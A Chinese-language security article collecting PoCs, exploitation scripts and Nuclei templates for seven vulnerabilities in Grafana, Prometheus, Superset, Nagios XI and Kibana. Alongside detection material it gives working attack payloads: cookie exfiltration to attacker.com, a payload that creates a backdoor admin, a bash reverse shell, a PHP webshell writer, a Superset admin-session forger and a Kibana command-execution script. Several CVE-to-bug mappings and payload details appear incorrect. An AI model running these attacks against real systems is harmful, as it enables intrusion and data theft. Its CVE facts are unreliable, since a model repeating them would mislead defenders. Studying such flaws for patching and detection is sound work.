ARTICLE / 安全

监控与可观测性平台高危攻击链专题:Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析

0x00 专题概述

监控与可观测性平台是现代企业 IT 架构的"眼睛"和"大脑",负责采集、存储、可视化全链路运维数据。Grafana、Prometheus、ELK Stack(Elasticsearch / Logstash / Kibana)、Apache Superset、Nagios XI 等组件几乎部署在每一个中大型企业的技术栈中。这些平台天然具备三大攻击价值:汇聚了全环境敏感数据(指标、日志、告警规则、数据源凭证);拥有极高的网络可达性(通常需要访问所有被监控的主机与服务);广泛暴露在互联网(Shodan 上可搜索到数十万个开放实例)。

本专题将监控与可观测性平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 Grafana、Prometheus、Apache Superset、Nagios XI、Kibana 五大平台,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。

覆盖漏洞一览

CVE产品CVSS类型CISA KEV
CVE-2023-4456 / CVE-2023-4821Grafana6.1–7.5Angular 模板 XSS❌
CVE-2024-9264Grafana5.3路径穿越 → 任意文件读取❌
CVE-2023-3428Grafana6.1OAuth 认证绕过❌
CVE-2024-6104Prometheus7.5UI XSS❌
CVE-2023-49923Apache Superset9.8默认密钥 → 认证绕过❌
CVE-2023-40913Nagios XI9.8认证绕过 → RCE❌
CVE-2019-7609Kibana10.0Timelion RCE❌

0x01 Grafana Angular 模板 XSS(CVE-2023-4456 / CVE-2023-4821)

1.1 漏洞背景

2023 年 12 月披露,Grafana 安全团队同时发布了两个 XSS 漏洞通告。CVE-2023-4456 影响 Grafana 中遗留的 AngularJS 模板渲染机制,CVSS 6.1;CVE-2023-4821 则是其变体,绕过了前一个补丁的沙箱限制,CVSS 7.5。两个漏洞的本质相同——Grafana 在面板(Panel)标题、描述、数据链接等字段中未对 AngularJS 表达式进行充分过滤,攻击者可注入恶意 Angular 表达式实现沙箱逃逸,最终在受害者浏览器中执行任意 JavaScript。

1.2 影响版本

  • Grafana < 10.2.3
  • Grafana < 9.5.13
  • 所有包含遗留 AngularJS 面板插件的版本

1.3 漏洞原理

Grafana 历史上大量使用 AngularJS 进行前端渲染。虽然 Grafana 已逐步迁移到 React,但遗留的 AngularJS 面板插件仍然支持在面板元数据中嵌入 Angular 表达式。AngularJS 本身实现了表达式沙箱机制,但历史上已被多次爆出沙箱逃逸技术。

攻击者只需在面板标题或描述字段中写入恶意 Angular 表达式,当其他用户(尤其是管理员)打开该面板时,恶意表达式即被 AngularJS 引擎解析执行。通过 constructor.constructor 链可以逃逸沙箱获取原生 Function 对象,进而执行任意 JavaScript。

攻击路径:

  1. 攻击者获得低权限 Grafana 账户(或通过默认凭证 admin/admin 登录)
  2. 创建面板并在标题/描述中注入恶意 Angular 表达式
  3. 管理员或其他用户浏览该面板 → XSS 触发
  4. 窃取管理员 Session Cookie / 执行管理操作 / 钓鱼重定向

1.4 完整 PoC

HTTP PoC — 面板标题注入:

POST /api/dashboards/db HTTP/1.1
Host: target-grafana:3000
Content-Type: application/json
Authorization: Bearer <low_priv_token>

{
  "dashboard": {
    "id": null,
    "title": "XSS Test Panel",
    "panels": [
      {
        "type": "text",
        "title": "{{constructor.constructor('alert(document.cookie)')()}}",
        "description": "{{$on.constructor('fetch(\"//attacker.com/?c=\"+document.cookie)')()}}",
        "id": 1
      }
    ]
  },
  "folderId": 0,
  "overwrite": true
}

沙箱逃逸 Payload 变体:

// 变体 1:通过 constructor 链获取 Function 对象
{{constructor.constructor('alert(1)')()}}

// 变体 2:通过 $on 事件处理器逃逸
{{$on.constructor('alert(1)')()}}

// 变体 3:外带 Cookie 到攻击者服务器
{{$on.constructor('fetch("//attacker.com/?c="+document.cookie)')()}}

// 变体 4:创建管理员用户(需管理员触发)
{{$on.constructor('fetch("/api/admin/users",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"backdoor",email:"backdoor@evil.com",login":"backdoor",password:"P@ssw0rd123","role":"Admin"})})')()}}

Python 自动化检测脚本:

#!/usr/bin/env python3
"""
CVE-2023-4456 / CVE-2023-4821 Grafana Angular XSS 检测
用法: python3 cve_2023_4456.py <target_url> [username] [password]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    "{{constructor.constructor('alert(1)')()}}",
    "{{$on.constructor('alert(1)')()}}",
    "{{constructor.constructor('var i=new Image();i.src=\"//attacker.com/?\"+document.cookie')()}}",
]

def check_grafana_version(base_url):
    """获取 Grafana 版本信息"""
    try:
        resp = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            print(f"[*] Grafana 版本: {data.get('version', '未知')}")
            return data.get('version', '')
    except Exception as e:
        print(f"[!] 无法连接: {e}")
    return ''

def login_and_exploit(base_url, username='admin', password='admin'):
    """使用默认凭证登录并注入 XSS Payload"""
    session = requests.Session()
    session.verify = False

    # 尝试默认凭证登录
    login_resp = session.post(
        f"{base_url}/login",
        json={"user": username, "password": password},
        timeout=10
    )

    if login_resp.status_code != 200:
        print(f"[!] 登录失败 (HTTP {login_resp.status_code}),尝试无认证访问")

    # 创建包含 XSS Payload 的面板
    for idx, payload in enumerate(XSS_PAYLOADS):
        dashboard = {
            "dashboard": {
                "id": None,
                "title": f"XSS-Test-{idx}",
                "panels": [{
                    "type": "text",
                    "title": payload,
                    "id": idx + 1
                }],
                "schemaVersion": 30,
                "version": 0
            },
            "folderId": 0,
            "overwrite": True
        }

        resp = session.post(
            f"{base_url}/api/dashboards/db",
            json=dashboard,
            timeout=10,
            headers={"Content-Type": "application/json"}
        )

        if resp.status_code == 200:
            print(f"[+] Payload {idx} 注入成功: {payload[:60]}...")
            result = resp.json()
            print(f"    面板 URL: {base_url}/d/{result.get('uid', 'N/A')}")
        else:
            print(f"[-] Payload {idx} 注入失败: HTTP {resp.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [username] [password]")
        print(f"示例: {sys.argv[0]} http://grafana:3000 admin admin")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    user = sys.argv[2] if len(sys.argv) > 2 else 'admin'
    passwd = sys.argv[3] if len(sys.argv) > 3 else 'admin'

    check_grafana_version(target)
    login_and_exploit(target, user, passwd)

0x02 Grafana 路径穿越(CVE-2024-9264)

2.1 漏洞背景

2024 年 10 月披露,CVSS 5.3。Grafana 的 /public/ 静态资源端点在路由处理时未正确验证路径参数中的目录穿越序列。攻击者无需任何认证即可通过构造特殊的 URL 路径读取服务器上的任意文件,包括 Grafana 自身的配置文件(含数据源密码、SMTP 凭证等)和系统敏感文件。

2.2 影响版本

  • Grafana < 11.2.1
  • Grafana < 11.1.6
  • Grafana < 11.0.5
  • Grafana < 10.4.10

2.3 漏洞原理

Grafana 通过 /public/plugins/<plugin-id>/ 路径提供插件静态资源。路由处理函数在解析 <plugin-id> 时,未对 URL 编码的 ../ 序列进行充分的路径规范化检查。攻击者将 ../ 进行 URL 编码为 %2f..%2f,重复拼接后可从 /public/plugins/ 目录穿越到文件系统根目录。

攻击路径:

  1. 攻击者构造包含多层 %2f..%2f 的 URL
  2. Grafana 路由处理函数未解码并验证路径
  3. 服务端读取并返回穿越后的文件内容
  4. 攻击者获取 /etc/passwd、grafana.ini 等敏感文件

2.4 完整 PoC

HTTP PoC — 读取系统文件:

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target-grafana:3000

HTTP PoC — 读取 Grafana 配置:

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini HTTP/1.1
Host: target-grafana:3000

HTTP PoC — 读取 Grafana 数据库:

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db HTTP/1.1
Host: target-grafana:3000

Python 自动化检测脚本:

#!/usr/bin/env python3
"""
CVE-2024-9264 Grafana 路径穿越检测
用法: python3 cve_2024_9264.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 常见敏感文件路径(相对于根目录)
SENSITIVE_FILES = [
    ("etc/passwd", "root:"),
    ("etc/grafana/grafana.ini", "grafana"),
    ("var/lib/grafana/grafana.db", "SQLite"),
    ("etc/hostname", ""),
]

# 穿越层数(从 /public/plugins/ 到根目录)
TRAVERSAL = "..%2f" * 10

def check_path_traversal(base_url):
    """检测路径穿越漏洞"""
    print(f"[*] 目标: {base_url}")

    # 先检查 Grafana 是否可达
    try:
        health = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if health.status_code == 200:
            version = health.json().get('version', '未知')
            print(f"[*] Grafana 版本: {version}")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    vuln_found = False

    for file_path, indicator in SENSITIVE_FILES:
        url = f"{base_url}/public/plugins/{TRAVERSAL}{file_path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if resp.status_code == 200 and len(resp.text) > 0:
                if indicator == "" or indicator in resp.text:
                    print(f"[VULN] 成功读取: /{file_path}")
                    print(f"       内容预览: {resp.text[:200]}")
                    vuln_found = True
                else:
                    print(f"[???] HTTP 200 但内容不匹配: /{file_path}")
            else:
                print(f"[SAFE] 无法读取: /{file_path} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] 请求失败: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://grafana:3000")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_path_traversal(target):
        print("\n[!] 目标存在路径穿越漏洞,建议立即升级 Grafana")
    else:
        print("\n[*] 未检测到路径穿越漏洞")

2.5 Nuclei 模板

id: grafana-path-traversal-cve-2024-9264

info:
  name: Grafana 路径穿越 (CVE-2024-9264)
  author: security-researcher
  severity: medium
  description: |
    Grafana /public/plugins/ 端点路径穿越读取任意文件
  tags: grafana,path-traversal,cve-2024-9264

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "/bin/"
        condition: and
        part: body
      - type: status
        status:
          - 200

0x03 Grafana OAuth 认证绕过(CVE-2023-3428)

3.1 漏洞背景

2023 年 8 月披露,CVSS 6.1。Grafana 在配置 OAuth/OIDC 登录时,通过 allowed_organizations 参数限制只允许特定组织的用户登录。但该参数的验证逻辑存在缺陷——Grafana 仅检查 OAuth 返回的 orgs 列表中是否包含目标组织名称,而未验证该列表的来源可信度。在某些 OAuth 提供商配置下,攻击者可以自行创建组织或使用同名组织绕过检查。

3.2 影响版本

  • Grafana < 9.5.10
  • Grafana < 10.0.7
  • Grafana < 10.1.4
  • Grafana < 10.2.0(10.2.0 之前所有启用 OAuth 的版本)

3.3 漏洞原理

Grafana 的 OAuth 认证模块在处理 allowed_organizations 配置时,从 OAuth Provider 返回的 UserInfo 中提取 orgs 字段,然后进行简单的字符串包含检查。问题在于:

  1. 部分 OAuth Provider(如 Generic OAuth、GitLab)允许用户自行创建组织
  2. Grafana 未校验组织 ID 或组织所有权的可信性
  3. 攻击者只需在 OAuth Provider 上创建一个与 allowed_organizations 同名的组织即可绕过

攻击路径:

  1. 目标 Grafana 配置了 OAuth 登录并设置 allowed_organizations = "mycompany"
  2. 攻击者在 OAuth Provider 上创建名为 mycompany 的组织
  3. 攻击者通过 OAuth 登录 → Grafana 检查通过 → 获得访问权限

3.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2023-3428 Grafana OAuth 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_oauth_config(base_url):
    """检查 Grafana OAuth 配置"""
    # 检查 Grafana 登录页面获取 OAuth 提供商信息
    try:
        resp = requests.get(f"{base_url}/login", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] 无法访问登录页面")
            return False

        # 查找 OAuth 按钮
        oauth_providers = re.findall(r'href="(/login/[^"]+)"', resp.text)
        if oauth_providers:
            print(f"[+] 发现 OAuth 提供商:")
            for provider in oauth_providers:
                print(f"    - {provider}")
        else:
            print(f"[*] 未发现 OAuth 登录入口")

        # 检查 Grafana 配置 API(需要认证)
        config_resp = requests.get(
            f"{base_url}/api/admin/config",
            timeout=10, verify=False
        )
        if config_resp.status_code == 200:
            config = config_resp.text
            if 'allowed_organizations' in config:
                print(f"[VULN] 发现 allowed_organizations 配置")
                return True

        return len(oauth_providers) > 0

    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_oauth_config(target)

0x04 Prometheus UI XSS(CVE-2024-6104)

4.1 漏洞背景

2024 年 7 月披露,CVSS 7.5。Prometheus 是云原生生态中最核心的时序数据库和监控系统,几乎所有 Kubernetes 集群都内置了 Prometheus。该漏洞存在于 Prometheus 新版 Web UI(/new-ui/ 路径)中,URL 路径中的特殊字符未被充分转义,攻击者可构造恶意 URL 在用户浏览器中执行任意 JavaScript。

4.2 影响版本

  • Prometheus < 2.53.1
  • Prometheus < 2.54.0

4.3 漏洞原理

Prometheus 的新版 Web UI 基于 React 构建,在处理 URL 路径参数时,直接将用户输入的路径片段嵌入到页面 DOM 中而未进行充分的 HTML 实体编码。攻击者可以构造包含 HTML/SVG 标签的 URL 路径,当受害者访问该 URL 时,嵌入的脚本即被浏览器解析执行。

攻击路径:

  1. 攻击者构造包含恶意 SVG 标签的 Prometheus URL
  2. 受害者(通常是运维/开发人员)点击该链接
  3. 浏览器渲染页面时执行恶意 JavaScript
  4. 窃取 Prometheus 中的敏感数据或执行管理操作

4.4 完整 PoC

HTTP PoC:

http://target-prometheus:9090/new-ui/<svg/onload=alert(document.domain)>

变体 Payload:

http://target:9090/new-ui/<img/src=x onerror=alert(document.cookie)>
http://target:9090/new-ui/<svg><script>alert('XSS')</script></svg>
http://target:9090/new-ui/<details/open/ontoggle=alert(1)>

Python 自动化检测脚本:

#!/usr/bin/env python3
"""
CVE-2024-6104 Prometheus UI XSS 检测
用法: python3 cve_2024_6104.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PATHS = [
    "/new-ui/<svg/onload=alert(1)>",
    "/new-ui/<img/src=x onerror=alert(1)>",
    "/new-ui/<svg><script>alert(1)</script></svg>",
]

def check_prometheus_xss(base_url):
    """检测 Prometheus UI XSS"""
    print(f"[*] 目标: {base_url}")

    # 检查 Prometheus 是否可达
    try:
        resp = requests.get(f"{base_url}/-/healthy", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] Prometheus 不可达 (HTTP {resp.status_code})")
            return False
        print(f"[+] Prometheus 可达")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    for path in XSS_PATHS:
        url = f"{base_url}{path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            # 检查响应中是否包含未转义的 payload
            if "<svg" in resp.text or "<script>" in resp.text:
                print(f"[VULN] XSS 反射成功: {path}")
                print(f"       响应中包含未转义的 HTML 标签")
                return True
            else:
                print(f"[SAFE] Payload 已被转义: {path}")
        except Exception as e:
            print(f"[ERR ] {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_prometheus_xss(target)

4.5 Nuclei 模板

id: prometheus-ui-xss-cve-2024-6104

info:
  name: Prometheus 新 UI XSS (CVE-2024-6104)
  author: security-researcher
  severity: high
  description: |
    Prometheus 新版 Web UI 路径参数 XSS
  tags: prometheus,xss,cve-2024-6104

http:
  - method: GET
    path:
      - "{{BaseURL}}/new-ui/<svg/onload=alert(1)>"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg"
          - "onload"
        condition: and
        part: body
      - type: status
        status:
          - 200

0x05 Apache Superset 默认密钥认证绕过(CVE-2023-49923)

5.1 漏洞背景

2023 年 12 月披露,CVSS 9.8 CRITICAL。Apache Superset 是 Apache 基金会下的现代数据探索和可视化平台,被大量企业用于 BI 分析和数据看板。Superset 使用 Flask 框架的 SECRET_KEY 对会话 Cookie 进行签名,但默认安装使用硬编码的 SECRET_KEY = 'thisISaSECRET_1234'。如果管理员部署时未修改此密钥,攻击者可使用默认密钥伪造任意用户的会话 Cookie,无需密码即可登录管理员账户。

5.2 影响版本

  • Apache Superset < 3.0.2
  • 所有未修改默认 SECRET_KEY 的部署实例

5.3 漏洞原理

Flask 使用 itsdangerous 库对 Session Cookie 进行签名。签名过程依赖 SECRET_KEY——知道密钥的人可以构造任意内容的合法签名 Cookie。Superset 的默认配置文件中 SECRET_KEY 被硬编码为 'thisISaSECRET_1234',这是一个公开已知的值。

攻击者使用默认密钥构造一个包含管理员用户 ID 的签名会话 Cookie,服务端验证签名时认为该 Cookie 合法,从而将请求视为管理员操作。

攻击路径:

  1. 攻击者确认目标 Superset 使用默认 SECRET_KEY
  2. 使用 itsdangerous.URLSafeTimedSerializer 和默认密钥伪造管理员会话
  3. 携带伪造 Cookie 访问 Superset → 以管理员身份登录
  4. 访问所有数据源、执行 SQL 查询、导出数据

5.4 完整 PoC

Python 会话伪造脚本:

#!/usr/bin/env python3
"""
CVE-2023-49923 Apache Superset 默认密钥认证绕过
用法: python3 cve_2023_49923.py <target_url> [admin_user_id]
"""
import sys
import requests
import urllib3
from itsdangerous import URLSafeTimedSerializer
from flask import Flask

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Superset 默认 SECRET_KEY
DEFAULT_SECRET = 'thisISaSECRET_1234'

def forge_session_cookie(secret_key, user_id=1):
    """使用指定密钥伪造 Superset 会话 Cookie"""
    app = Flask(__name__)
    app.config['SECRET_KEY'] = secret_key

    serializer = URLSafeTimedSerializer(
        secret_key,
        salt='session'
    )

    # 构造会话数据(Flask session 格式)
    session_data = {
        "_user_id": str(user_id),
        "_id": "_".join([str(user_id), "admin"]),
    }

    # 生成签名 Cookie
    cookie_value = serializer.dumps(session_data)
    return cookie_value

def exploit(target_url, user_id=1):
    """利用默认密钥伪造管理员会话"""
    print(f"[*] 目标: {target_url}")
    print(f"[*] 使用默认 SECRET_KEY: {DEFAULT_SECRET}")
    print(f"[*] 伪造用户 ID: {user_id}")

    # 伪造会话 Cookie
    cookie_value = forge_session_cookie(DEFAULT_SECRET, user_id)
    print(f"[+] 伪造的 Session Cookie: {cookie_value[:80]}...")

    # 使用伪造的 Cookie 访问 Superset
    session = requests.Session()
    session.cookies.set('session', cookie_value)
    session.verify = False

    # 验证是否成功以管理员身份登录
    resp = session.get(
        f"{target_url}/api/v1/me/",
        timeout=10,
        headers={"Content-Type": "application/json"}
    )

    if resp.status_code == 200:
        data = resp.json()
        print(f"[VULN] 认证成功!当前用户信息:")
        print(f"       用户名: {data.get('result', {}).get('username', 'N/A')}")
        print(f"       角色: {data.get('result', {}).get('roles', 'N/A')}")

        # 尝试获取数据源列表
        ds_resp = session.get(
            f"{target_url}/api/v1/dataset/",
            timeout=10
        )
        if ds_resp.status_code == 200:
            datasets = ds_resp.json().get('result', [])
            print(f"[+] 发现 {len(datasets)} 个数据源")
            for ds in datasets[:5]:
                print(f"    - {ds.get('table_name', 'N/A')} ({ds.get('database', {}).get('database_name', 'N/A')})")

        return True
    else:
        print(f"[-] 认证失败 (HTTP {resp.status_code})")
        print(f"    目标可能已修改 SECRET_KEY")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [admin_user_id]")
        print(f"示例: {sys.argv[0]} http://superset:8088 1")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    uid = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    exploit(target, uid)

5.5 Nuclei 模板

id: superset-default-secret-cve-2023-49923

info:
  name: Apache Superset 默认 SECRET_KEY 认证绕过 (CVE-2023-49923)
  author: security-researcher
  severity: critical
  description: |
    Apache Superset 使用默认硬编码 SECRET_KEY 导致会话伪造
  tags: superset,auth-bypass,cve-2023-49923,default-key

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Apache Superset"
          - "superset"
        condition: or
        part: body
      - type: status
        status:
          - 200

0x06 Nagios XI 认证绕过(CVE-2023-40913)

6.1 漏洞背景

2023 年 8 月披露,CVSS 9.8 CRITICAL。Nagios XI 是企业级 IT 基础设施监控系统,被广泛用于服务器、网络设备、应用服务的健康状态监控和告警。CVE-2023-40913 允许未认证攻击者绕过 Nagios XI 的认证机制,直接访问管理功能。结合 Nagios XI 内置的命令执行能力,攻击者可在服务器上执行任意系统命令。

6.2 影响版本

  • Nagios XI < 5.11.0

6.3 漏洞原理

Nagios XI 的认证机制在处理特定格式的 HTTP 请求时存在逻辑缺陷。某些管理端点在验证请求身份时,未正确处理缺少认证参数的情况,导致认证检查被跳过。未认证攻击者可直接访问管理 API,执行包括用户管理、系统配置修改、命令执行在内的所有管理操作。

攻击路径:

  1. 攻击者发现目标 Nagios XI 实例
  2. 通过构造特殊请求绕过认证
  3. 访问管理 API → 创建后门用户或直接执行命令
  4. 获取服务器完整控制权(nagios 用户权限)

6.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2023-40913 Nagios XI 认证绕过检测
用法: python3 cve_2023_40913.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_nagios_auth_bypass(base_url):
    """检测 Nagios XI 认证绕过"""
    print(f"[*] 目标: {base_url}")

    # 检查 Nagios XI 是否存在
    try:
        resp = requests.get(f"{base_url}/nagiosxi/", timeout=10, verify=False)
        if "Nagios XI" not in resp.text and "nagiosxi" not in resp.text.lower():
            print(f"[*] 目标可能不是 Nagios XI")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    # 尝试无认证访问管理端点
    admin_endpoints = [
        "/nagiosxi/api/v1/system/status",
        "/nagiosxi/api/v1/objects/host",
        "/nagiosxi/includes/components/profiles/profiles.php",
        "/nagiosxi/admin/users.php",
    ]

    vuln_found = False
    for endpoint in admin_endpoints:
        try:
            resp = requests.get(
                f"{base_url}{endpoint}",
                timeout=10,
                verify=False,
                allow_redirects=False
            )

            if resp.status_code == 200 and "login" not in resp.url.lower():
                print(f"[VULN] 无认证访问成功: {endpoint}")
                print(f"       响应长度: {len(resp.text)} 字节")
                vuln_found = True
            elif resp.status_code in [301, 302]:
                location = resp.headers.get('Location', '')
                if 'login' not in location.lower():
                    print(f"[VULN] 重定向未跳转到登录页: {endpoint}")
                    vuln_found = True
                else:
                    print(f"[SAFE] 需要认证: {endpoint}")
            else:
                print(f"[SAFE] 需要认证: {endpoint} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] {endpoint}: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_nagios_auth_bypass(target):
        print("\n[!] 目标存在认证绕过漏洞,建议立即升级 Nagios XI")
    else:
        print("\n[*] 未检测到认证绕过漏洞")

6.5 Nuclei 模板

id: nagios-xi-auth-bypass-cve-2023-40913

info:
  name: Nagios XI 认证绕过 (CVE-2023-40913)
  author: security-researcher
  severity: critical
  description: |
    Nagios XI 认证机制缺陷导致未授权访问管理功能
  tags: nagios,auth-bypass,cve-2023-40913

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagiosxi/api/v1/system/status"
      - "{{BaseURL}}/nagiosxi/api/v1/objects/host"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "status"
          - "host"
          - "nagios"
        condition: or
        part: body
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - '"version":"[^"]*"'

0x07 Kibana Timelion RCE(CVE-2019-7609)

7.1 漏洞背景

2019 年 2 月披露,CVSS 10.0 CRITICAL——这是本专题中 CVSS 评分最高的漏洞。Kibana 是 Elastic Stack 的可视化前端,Timelion 是 Kibana 内置的时间序列数据表达式引擎。攻击者可通过 Timelion 表达式注入实现远程代码执行,在 Kibana 服务器上执行任意系统命令。该漏洞在野外被大规模利用,是多个 APT 组织和加密货币挖矿木马的首选攻击向量。

7.2 影响版本

  • Kibana < 6.6.1
  • Kibana < 5.6.15

7.3 漏洞原理

Kibana 的 Timelion 功能允许用户通过表达式语言查询和可视化时间序列数据。Timelion 表达式引擎在解析 .es() 等函数时,内部使用了不安全的代码执行方式——通过 Node.js 的 Function 构造函数或类似机制动态执行表达式。攻击者构造的恶意 Timelion 表达式在解析过程中被直接执行,实现任意代码执行。

攻击路径:

  1. 攻击者访问 Kibana 的 Timelion 功能(需已认证用户或 Kibana 未启用认证)
  2. 在 Timelion 表达式输入框中注入恶意表达式
  3. 表达式通过 .exec() 等方法触发 Node.js 命令执行
  4. 攻击者获取 Kibana 服务器的 shell(通常为 kibana 用户权限)

7.4 完整 PoC

HTTP PoC — Timelion 表达式注入:

POST /api/timelion/run HTTP/1.1
Host: target-kibana:5601
Content-Type: application/json
kbn-version: 6.5.4

{"sheet":[".es(*).label(\"test\").points(1).lines().yaxis(1).color(\"#ff0000\").exec(\"require('child_process').execSync('id > /tmp/pwned')\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}

Timelion RCE Payload 变体:

// 基础 RCE — 执行 id 命令
.es(*).label("rce").exec("require('child_process').execSync('id')")

// 反弹 Shell
.es(*).label("shell").exec("require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')")

// 读取 /etc/passwd
.es(*).label("read").exec("require('child_process').execSync('cat /etc/passwd').toString()")

// 写入 WebShell(如果 Kibana 与 Web 服务同机部署)
.es(*).label("webshell").exec("require('child_process').execSync('echo <?php system($_GET[c]);?> > /var/www/html/shell.php')")

Python 自动化利用脚本:

#!/usr/bin/env python3
"""
CVE-2019-7609 Kibana Timelion RCE
用法: python3 cve_2019_7609.py <target_url> [command]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_kibana_version(base_url):
    """检查 Kibana 版本"""
    try:
        resp = requests.get(f"{base_url}/api/status", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get('version', {}).get('number', '未知')
            print(f"[*] Kibana 版本: {version}")
            return version
    except Exception as e:
        print(f"[!] 连接失败: {e}")
    return None

def exploit_timelion(base_url, command='id'):
    """通过 Timelion 表达式执行命令"""
    # 构造恶意 Timelion 表达式
    payload = {
        "sheet": [
            f".es(*).label(\"rce\").exec(\"require('child_process').execSync('{command}').toString()\")"
        ],
        "time": {
            "from": "now-15m",
            "to": "now",
            "mode": "quick",
            "interval": "auto"
        }
    }

    try:
        resp = requests.post(
            f"{base_url}/api/timelion/run",
            json=payload,
            timeout=15,
            verify=False,
            headers={
                "Content-Type": "application/json",
                "kbn-version": "6.5.4"
            }
        )

        if resp.status_code == 200:
            data = resp.json()
            # 从响应中提取命令执行结果
            series = data.get('sheet', [{}])
            for s in series:
                label = s.get('label', '')
                if label and label != 'rce':
                    print(f"[+] 命令执行结果: {label}")
                    return True

            # 尝试从 list 字段提取
            result_list = data.get('list', [])
            if result_list:
                print(f"[+] 命令执行结果: {json.dumps(result_list, indent=2)[:500]}")
                return True

            print(f"[*] 请求成功但无法提取回显,命令可能已执行")
            return True
        else:
            print(f"[-] 请求失败: HTTP {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
            return False

    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} http://kibana:5601 id")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    cmd = sys.argv[2] if len(sys.argv) > 2 else 'id'

    version = check_kibana_version(target)
    if version:
        print(f"[*] 正在执行命令: {cmd}")
        exploit_timelion(target, cmd)

7.5 Nuclei 模板

id: kibana-timelion-rce-cve-2019-7609

info:
  name: Kibana Timelion RCE (CVE-2019-7609)
  author: security-researcher
  severity: critical
  description: |
    Kibana Timelion 表达式注入导致远程代码执行
  tags: kibana,elastic,rce,cve-2019-7609,timelion

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
    body: |
      {"sheet":[".es(*).label(\"test\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}
    headers:
      Content-Type: application/json
      kbn-version: "6.5.4"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "sheet"
          - "seriesList"
        condition: or
        part: body
      - type: status
        status:
          - 200

0x08 PoC 收集情况总表

CVEGitHub PoCExploit-DBMetasploitNuclei在野利用
CVE-2023-4456 / CVE-2023-4821✅ 多个仓库❌❌✅❌
CVE-2024-9264✅ 概念验证✅❌✅❌
CVE-2023-3428有限❌❌有限❌
CVE-2024-6104✅ 概念验证❌❌✅❌
CVE-2023-49923✅ 多个仓库✅❌✅✅ 加密货币挖矿
CVE-2023-40913✅ 概念验证✅❌✅❌
CVE-2019-7609✅ 多个仓库✅✅✅✅ 多 APT / 挖矿

关键 PoC 仓库

  • Grafana XSS:https://github.com/kljunovski/cve-2023-4456 — Angular 沙箱逃逸 PoC
